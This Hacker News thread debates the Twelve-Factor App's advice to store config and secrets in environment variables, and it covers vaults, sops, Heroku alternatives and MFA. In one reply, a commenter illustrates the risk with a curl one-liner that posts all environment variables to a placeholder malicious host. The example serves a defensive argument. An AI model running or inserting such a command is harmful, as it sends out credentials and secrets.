21 comments

  • nebezb2 hours ago
    Still incredibly relevant. Even if you don’t apply it, there is so much to learn by reading this in 15 minutes.<p>The only grievance I have with this is Chapter 3: Config [1] “Store config in the environment”, “Credentials to external services such as Amazon S3 or Twitter”<p>Besides being bad advice, this had the second-order effect of leading devs to believe they could put all their local env secrets in ~&#x2F;.bashrc files.<p>Stop doing this. Do the other 11.5 factors.<p>[1]: <a href="https:&#x2F;&#x2F;12factor.net&#x2F;config" rel="nofollow">https:&#x2F;&#x2F;12factor.net&#x2F;config</a>
    • jt21902 hours ago
      The unwritten assumption in 12 Factor is: <i>the environment is secure</i>. For example, a production system should always have a secure means of setting environment variables. Said another way: If a random dev can change an environment variable in production either directly by logging in or indirectly by pushing code then there is something very very wrong.<p>If the dev is pushing code to production they should not simultaneously be pushing environment configs, this is doing two logically distinct things at once: Changing application behavior AND reconfiguring the server environment.<p>If the dev is adding secrets to their local config and they’re pushing that config to insecure places that means their deployment pipeline is broken and it should be fixed. .env is never committed to source for this reason, for example.
      • nebezb1 hour ago
        &gt; The unwritten assumption in 12 Factor is: the environment is secure.<p>Fair assumption.<p>Assuming no attackers and you&#x27;re only running trusted code, I still maintain the environment is a poor place to keep secrets. Devs adding `{ meta: process.env }` to logs. Instrumentation&#x2F;reporting libraries dumping the process (and the env) for crash reports. Trust that subprocesses + dependencies inheriting your environment are taking equal care to avoid these issues, too.
      • HHad31 hour ago
        Unfortunately, with secrets in the OS env, you‘re one `printenv` or improperly written third party dependency that leaks env vars away from a security incident.<p>The env and more importantly what populates it should be secure, but security works best in layers. Sanitizing the env after loading it is a nicer middleground, k8s-style secrets materialized to files work best and are conceptually close enough to the OS env.
    • zbentley3 minutes ago
      Even putting secrets aside, the environment is a crappy place for config data.<p>It&#x27;s got a maximum size cap, is trivially introspectable by via any process that can read `&#x2F;proc`, and sucks at representing hierarchical or structured data beyond k=v.<p>The proliferation of tools that come up with all sorts of contortions to encode e.g. JSON-ish structures into the environment is evidence that this ain&#x27;t a great way to go. I hope we&#x27;re moving towards a container-orchestrator-by-default future; mounting structured data into pseudo-files at runtime is a really nice alternative.
    • philbo3 minutes ago
      100% this.<p>1. Keep secrets in a dedicated secrets store.<p>2. Read directly from the secrets store in application code. There is no environment, there are no environment variables. Yes, even on local.
    • stephbook1 hour ago
      &quot;The environment&quot; is not &quot;environment variables&quot; and not &quot;.env files&quot;<p>For cloud services, it would typically be called a vault. But it could also be a hardware security module (HSM) with bring-your-own-key (BYOK, eg for certificates.)<p>Ansible also calls it a vault and encrypts it with a password — that file you can check into version control.
      • nebezb1 hour ago
        Confidently wrong. Did you read the source I linked?<p>&gt; The twelve-factor app stores config in environment variables
        • dewey1 hour ago
          The vault of the cloud provider would just inject the value of the environment variable securely so it doesn&#x27;t have to be stored on-disk. What the parent poster wrote isn&#x27;t wrong.
    • javcasas2 hours ago
      &gt; this had the second-order effect of leading devs to believe they could put all their local env secrets in ~&#x2F;.bashrc files<p>Teach them to use dotenv.<p>We are moving away from configuration in config files because it is a pain to modify, especially if part of that configuration is secrets. You have to throw everything into your secrets vault of preference, and editing it requires extracting and reuploading the whole thing.<p>We are currently doing config in env by loading one or multiple secrets per kubernetes pod (mix and match).<p>What would be your suggestion?
      • nebezb1 hour ago
        My issue with the env is it&#x27;s not a secret store. Dotenv is a delivery mechanism. If you&#x27;re using it to put APP_BASE_URL or APP_PORT into your env, it&#x27;s a very convenient one. If you&#x27;re using dotenv to put SECRET_SIGNING_KEY into your env, it&#x27;s as poor a delivery mechanism as ~&#x2F;.bashrc is.<p>Processes and subprocesses inherit your environment. Too much can go wrong. Something as innocent as an error logging library adding `{ metadata: process.env }` to every line or as nefarious as `curl malicious.example.com -d &quot;$(jq -n &#x27;env&#x27;)&quot;` in a dependency you (or your agent) just pulled to test out in your local branch. Exfiltration is free. If you&#x27;re loading secrets into your environment and _not explicitly cleaning it out immediately_, the security posture is trust &amp; hope.<p>As patmorgan23 wrote in another comment &quot;Secrets should go in a vault and retrieved with the help of a workload identity.&quot; Secrets management unfortunately isn&#x27;t as easy as config management. I personally like sops[1].<p>[1] <a href="https:&#x2F;&#x2F;github.com&#x2F;getsops&#x2F;sops" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;getsops&#x2F;sops</a>
    • zbentley12 minutes ago
      Firmly agree. A lot of sibling comments are talking about environment mutation (which does have issues); I want to talk about environment <i>read</i> access.<p>The environment is a standard, locate-able, <i>read-only at runtime</i> k&#x2F;v store in every process. That makes it an incredibly juicy target for exploits. There are tons of remote exploits <i>well short</i> of RCE which can access all or part of a server process&#x27;s environment. If that process&#x27;s environment contains secrets for everything that process might do, that&#x27;s asking for trouble.<p>Consider a user-facing webserver with a rarely-used, admin-only route that talks to AWS APIs. Unless it&#x27;s deployed on AWS and using IMDS, the 12-factor best practices say there should be AWS credentials in its environment.<p>Consider a service which, at startup, opens a connection to a telemetry&#x2F;logging system, then drops privileges and handles requests. 12-factor best practices say there should be a secret for that telemetry system in its environment.<p>Additional examples abound. Most applications (even ones that aren&#x27;t internet-facing web servers) use configured secrets infrequently--often only once, to open connections to external services--and not during the vast majority of requests they serve, but we put all secrets in the environment anyway.<p>Vaults don&#x27;t automatically solve this problem either; many vaults provide secrets to applications by injecting them into process environment at start.<p>Good secret management <i>at runtime</i> should ideally be:<p>1. Mutable or at least delete-able. I really wish there were ways to remove environment variables after they&#x27;re used (so I could say &quot;once you have an authenticated, open socket or a refreshable auth token to $service, remove the initial login secret from memory entirely&quot;), but absent highly complex multi-process&#x2F;re-exec dances, that doesn&#x27;t really exist. If, in Python, you &#x27;del os.environ[&quot;foo&quot;]&#x27;, you haven&#x27;t modified the environment segment of your program&#x27;s memory. With a delete-able in-memory secret store, for the truly paranoid for whom there&#x27;s a slim but non-zero chance they&#x27;ll need a secret again if e.g. the remote service connection drops, they can always crash-restart.<p>2. Not in one common&#x2F;uniform memory area or key-value API. Hell, it&#x27;s slightly preferable to have secrets be stored piecemeal in regular variables in memory scattered around your code. Those are going to be slightly harder to find for malware that gets a foothold--security by obscurity, true, but the environment memory&#x2F;API is <i>such</i> a tempting target that it buys you a <i>bit</i> more than a false sense of security here.<p>3. Ideally, stored or encrypted in memory (for secrets that have to stay in memory) such that an exploit which can read process memory doesn&#x27;t get them for free. Some vaults&#x27; notion of a host-local sidecar which provides a decryption key for secrets is nice; that way, if an attacker gets memory-read without RCE they can&#x27;t just exfil a memory image and figure out the decryption key later. Even if you don&#x27;t go that far, securing secrets in-memory at least gives you the option of doing zero-trust stuff based on request payloads, or even just making good-hygiene backend APIs that encode &quot;you can only read the value for secret X if the request is for an admin route and authenticated&quot; (which is a good idea for internet-exposed services with seldom-used risky secrets anyway, but doesn&#x27;t help with parts 1 and 2 if that API is just wrapping env.get() or whatever).
    • akoboldfrying2 hours ago
      &gt; Besides being bad advice<p>What makes it bad advice?<p>&gt; this had the second-order effect of leading devs to believe they could put all their local env secrets in ~&#x2F;.bashrc files<p>You need some way to pass secrets to the app; doesn&#x27;t every other way also suffer the same kind of issue?
      • skybrian30 minutes ago
        Now that we use coding agents, you don&#x27;t want to store secrets anywhere in the same VM, because that makes them vulnerable to exfiltration. The best way is to access external services via a proxy that holds the secrets.<p>exe.dev has a zillion of them: <a href="https:&#x2F;&#x2F;exe.dev&#x2F;docs&#x2F;integrations" rel="nofollow">https:&#x2F;&#x2F;exe.dev&#x2F;docs&#x2F;integrations</a>
      • nebezb1 hour ago
        &gt; You need some way to pass secrets to the app<p>Absolutely. This is why the env method is so attractive. It&#x27;s simple and feels &quot;free&quot;.<p>&gt; doesn&#x27;t every other way also suffer the same kind of issue<p>Not entirely. Accessibility (or dev ergonomics) and security are opposite ends of the same dial. As the other commenter wrote: a workload identity and a vault, and sharing the secrets between the two in a way that doesn&#x27;t leave a plain-text trace for everyone to read (the environment is not private).<p>I like sops: <a href="https:&#x2F;&#x2F;github.com&#x2F;getsops&#x2F;sops" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;getsops&#x2F;sops</a>
      • patmorgan232 hours ago
        Secrets should go in a vault and retrieved with the help of a workload identity.
  • browningstreet3 hours ago
    I really thought this would be a 12 layer MFA demo showing the absurdity of our current painful &amp; unsustainable MFA trends.
    • VeninVidiaVicii2 hours ago
      Every time I leave my phone in the other room to “finally get some work done”, please enter this goddamn number we sent to your SMS, and I close my laptop.
      • JoshTriplett47 minutes ago
        The most obnoxious aspect of that: I specifically have my texts accessible on my laptop, <i>but</i> some 2fa authentication texts get blocked via that mechanism in favor of a message saying &quot;look at this message on your phone&quot;.
      • maccard2 hours ago
        My work uses “okta verify” for everything which is very helpful, as I can sue my work PC as a trusted device or fall back to a yubikey if not. 100x better than random SMS
    • xander_north2 hours ago
      Okay so this may sound odd but this is literally my whole life right now...<p>Can you explain why do you feel MFA is painful&#x2F;unsustainable? How would you fix it?
      • loeg11 minutes ago
        The problem is the &quot;M.&quot; Anything beyond a single factor is unnecessarily painful. Make the single factor good (passkeys or FIDO2 or whatever) and the problem is solved without &quot;M.&quot;
      • kridsdale12 hours ago
        We should return to physical metal keys that are unique to unlock the computer.
  • dec0dedab0de3 hours ago
    Heroku seemed like it was going to be the future back then. Every time I find myself struggling to understand some nonsense in Azure I dream of the simpler future we lost.
    • rietta3 hours ago
      They got painfully expensive and then acquired. I still remember the arguments with clients and finally went all in AWS ECS, which is still quite pricey but clients seem to complain less about the Amazon bill then they did about Heroku.
    • cgarvis3 hours ago
      Fly.io brings back some of that easy of deploy.
      • kestrel-robotic47 minutes ago
        Caprover for me, but fly.io is pretty cool, reminds me of flynn.io
      • drob5182 hours ago
        Yep, agreed. Fly.io is the closest to Heroku that I’ve found.
    • vrosas59 minutes ago
      Give Cloud Run a try if you haven&#x27;t. It&#x27;s basically serverless done right.
    • jpb01043 hours ago
      I&#x27;ve got to give credit where it is due... It really feels like Laravel Cloud picked up where Heroku left off. Or at least is trying to.
  • theozero2 hours ago
    .env as we know is full of problems... BUT! check out varlock (<a href="https:&#x2F;&#x2F;varlock.dev" rel="nofollow">https:&#x2F;&#x2F;varlock.dev</a>) - it&#x27;s free and open source, and we have really modernized and adapted the familiar syntax (a small DSL on top) to make it much better.<p>Has built-in validation, type-safety, composition via functions, loading with plugins, leak prevention, and much more.
    • weinzierl2 hours ago
      I think the idea to use the environment is misguided in general.<p>The environment was only ever good for things like GOMAXPROCS where you want a single point of truth for all processes on a machine but in a containerized world even that point is moot. Where regular config in the environment just problematic it is outright dangerous for secrets.
      • theozero1 hour ago
        I won&#x27;t disagree that it comes with security tradeoffs and depending on the situation it can definitely be a problem. But in many cases with how people deploy lots of software - most PaaS and things like lambdas &#x2F; cloudflare workers, etc - it&#x27;s absolutely fine. With varlock, we can even swap out the secret delivery mechanism at the end - but you still get a schema and familiar interface for how it all works.
  • sandeepkd2 hours ago
    Its interesting how this felt so natural and right way to do software. I remember people referencing it as the north star. And then gradually people came close to it but moved past it. Personally I feel that these concepts require to have generalist mindset aka application architect. What we have as of today are lot of product engineers within teams, product managers and management. The product engineers do not always have enough leverage or incentives to push for these kind of concepts.<p>And still at the same time these concepts feel like so much carved in stone that one way or another everyone is going to keep discovering them again.
  • imglorp39 minutes ago
    Good best practices, mostly, but I feel the 12FA model totally punted on state by defining it out of scope: &quot;state is over there in that external service, three-monkeys-emoji&quot;.<p>Yeah but sometimes state is the entire point and you need to manage it yourself, and then some of your processes must be 9 or 10 factor as a result.
  • _superposition_3 hours ago
    I can&#x27;t believe how old this is and I feel like most devs still haven&#x27;t internalized this which is a shame.
    • commandlinefan2 hours ago
      Is it devs that haven&#x27;t internalized this? Or management? Because I&#x27;d love to do this, but I always report to people who demand that everything be done in &quot;a few days&quot;.
  • bad_username57 minutes ago
    &gt; X. Dev&#x2F;prod parity Keep development, staging, and production as similar as possible<p>Notably, there is no requirement or recommendation that the dev environment be a single, shared environment. Development processes where this environment is single is shared is as terrible as it is ubiqitous.
  • n4pw01f36 minutes ago
    Used to follow this to a T. Love 12factor, evangelized it at a lot of companies too
  • Tomte2 hours ago
    Every time it gets posted I read through the list and think &quot;export services via port binding… of course a web server binds to a port, of course it‘s decoupled that way, what else would you do&quot; and &quot;treat backing services as attached resources… huh, is that really only about not linking in a database, but connecting using a JDBC string, for example?&quot;<p>So let me ask for once: what am I missing? Why is that interesting and not trite?
    • ipsi2 hours ago
      If you go far enough back in time (this dates back to at least 2011), it&#x27;s arguing against things like:<p>For port binding, for example, it used to be that you&#x27;d deploy your app to the web application container, rather than bundling them together. e.g., deploying your WAR file to Tomcat, rather than building a self-executing JAR which included Tomcat. The wording is a bit odd, but I think they were trying to make the point very generic, and not specifically about the Enterprise Java world.<p>For the backing resources, it&#x27;s a combination of point 3, config often living inside the codebase, applications just shelling out to &#x2F;usr&#x2F;sbin&#x2F;sendmail or what have you, and applications living on the same host as the DB, such that bringing up a new application necessarily required bringing up a new DB as well. Which also made it hard it to scale horizontally.<p>The whole &quot;12 Factor&quot; thing was partly because Heroku had specific solutions for all of these, so going down this road made it much easier to then sell Heroku, and partly because they really were frustrating. I&#x27;d say that the port binding one is more targeted at, say, WebSphere, and all that came along with it, such as sharing a single heap across multiple apps, needing to talk to the WebSphere admins to change configuration, needing to use a &quot;lite&quot; version of WebSphere to test locally, if that was even possible, and so on.<p>They sound super-obvious these days, but at the time, for a lot of us, they were really nice to see.
    • jaggederest2 hours ago
      &gt; Why is that interesting and not trite?<p>The same reason many older films seem cliche - because they were the first to do it, and it&#x27;s accepted standard now. Heroku very much shaped how we think of &quot;cloud applications&quot;, autoscaling, and containerization.
    • dec0dedab0de2 hours ago
      I think backing services as attached resources was opposed to the practice of having your DB, and cache, and whatnot managed and maintained by a completely separate team and not really treated as part of the application. Even the schema changes.<p>The port binding was really a response to tomcat or modphp being modules in the webserver, as opposed to hosting their own web service internally. This was before nginx took off, and proxying to internal application ports was common.<p>edit:<p>I was wrong about the backing services, it seems it is really about treating them as configurations and being able to swap them out without making code changes.<p><a href="https:&#x2F;&#x2F;12factor.net&#x2F;backing-services" rel="nofollow">https:&#x2F;&#x2F;12factor.net&#x2F;backing-services</a>
    • stephbook1 hour ago
      Doctors didn&#x27;t wash their hands between inspecting corpses and doing surgery.<p>Drivers protested against seat belts that would save their own lives.<p>Times change and hindsight is 20&#x2F;20. Let&#x27;s just say 10 years ago I worked at a company that broke all 12 factors.
    • anon70002 hours ago
      I think you gotta look back to how web servers worked before containers.
  • phoneafriend1 hour ago
    Yeah this is good stuff. Shocked to click around the site and find Intuit [working to follow] it. Today they get a nod.<p>Tomorrow it&#x27;s back to wondering why they needed 10 GUI revisions and a 65% price hike in the past year alone.<p>[palms forehead; returns to coffee + codebase]
    • msmith1 hour ago
      How did you see a connection to Intuit? I believe this originated from Adam Wiggins, cofounder of Heroku - acquired by Salesforce.
  • Exoristos1 hour ago
    While this is and has always been outstanding advice, be aware different readers tend to comprehend that advice differently. Make sure you understand your approach moving forward; do further research and hold discussions with seniors.
  • _superposition_3 hours ago
    Still relevant.
  • michchinn3 hours ago
    <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37862016">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=37862016</a><p>&gt; Related:<p>&gt; Ask HN: Is 12factor.net Still Relevant? - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=36283702">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=36283702</a> - June 2023 (6 comments)<p>&gt; 12 Factor App Revisited - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=33164407">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=33164407</a> - Oct 2022 (7 comments)<p>&gt; Twelve-factor app anno 2022 - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=31225921">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=31225921</a> - May 2022 (35 comments)<p>&gt; The Twelve-Factor App (2011) - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=31198956">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=31198956</a> - April 2022 (102 comments)<p>&gt; Twelve-factor app development on Google Cloud - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=21415488">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=21415488</a> - Nov 2019 (63 comments)<p>&gt; The Twelve-Factor App - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=19947507">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=19947507</a> - May 2019 (3 comments)<p>&gt; 12 Factor CLI Apps - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=18172689">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=18172689</a> - Oct 2018 (247 comments)<p>&gt; 12 factor app configuration vs. leaking environment variables (2014) - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=15869436">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=15869436</a> - Dec 2017 (2 comments)<p>&gt; Ask HN: Alternative to Heroku that doesn&#x27;t enforce 12-factor - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=10628961">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=10628961</a> - Nov 2015 (1 comment)<p>&gt; The Twelve-Factor App - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=10288216">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=10288216</a> - Sept 2015 (3 comments)<p>&gt; The Twelve-Factor App - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=9492120">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=9492120</a> - May 2015 (2 comments)<p>&gt; Twelve-Factor Applications with Consul - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=7780249">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=7780249</a> - May 2014 (2 comments)<p>&gt; The Twelve-Factor App - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=7547687">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=7547687</a> - April 2014 (1 comment)<p>&gt; Building Twelve Factor Apps on Heroku - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=6219444">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=6219444</a> - Aug 2013 (1 comment)<p>&gt; 12 Factor model for architecting SaaS applications - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=6060381">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=6060381</a> - July 2013 (1 comment)<p>&gt; The Twelve-Factor App - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=5979452">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=5979452</a> - July 2013 (1 comment)<p>&gt; 12factor: Methodology for Building Software-as-a-Service Apps - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=4027026">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=4027026</a> - May 2012 (1 comment)<p>&gt; Twelve Factors of Web Application Development - <a href="https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=3267187">https:&#x2F;&#x2F;news.ycombinator.com&#x2F;item?id=3267187</a> - Nov 2011 (37 comments)
  • nnutter2 hours ago
    Note that at the bottom of a page is a &quot;Download ePub Book&quot; link, &lt;<a href="https:&#x2F;&#x2F;12factor.net&#x2F;12factor.epub" rel="nofollow">https:&#x2F;&#x2F;12factor.net&#x2F;12factor.epub</a>&gt;.
  • naniel1 hour ago
    I was really hoping this would be about 12-factor authentication
  • Juliate44 minutes ago
    There is a GitHub repo with updates: <a href="https:&#x2F;&#x2F;github.com&#x2F;twelve-factor&#x2F;twelve-factor" rel="nofollow">https:&#x2F;&#x2F;github.com&#x2F;twelve-factor&#x2F;twelve-factor</a>
  • rietta3 hours ago
    Oh! That&#x27;s a term I have not heard in a long time!
  • greenie_beans2 hours ago
    need something better than the .env honeypot in this AI age. but idk what that might be
    • pull_my_finger2 hours ago
      You can use ephemeral filesystem mounts[1]<p>[1]: <a href="https:&#x2F;&#x2F;forcesunseen.com&#x2F;blog&#x2F;stop-storing-secrets-in-environment-variables" rel="nofollow">https:&#x2F;&#x2F;forcesunseen.com&#x2F;blog&#x2F;stop-storing-secrets-in-enviro...</a>
  • dankobgd2 hours ago
    twelfth repost
  • jasonpeacock3 hours ago
    It’s always new for someone…<p><a href="https:&#x2F;&#x2F;xkcd.com&#x2F;1053&#x2F;" rel="nofollow">https:&#x2F;&#x2F;xkcd.com&#x2F;1053&#x2F;</a>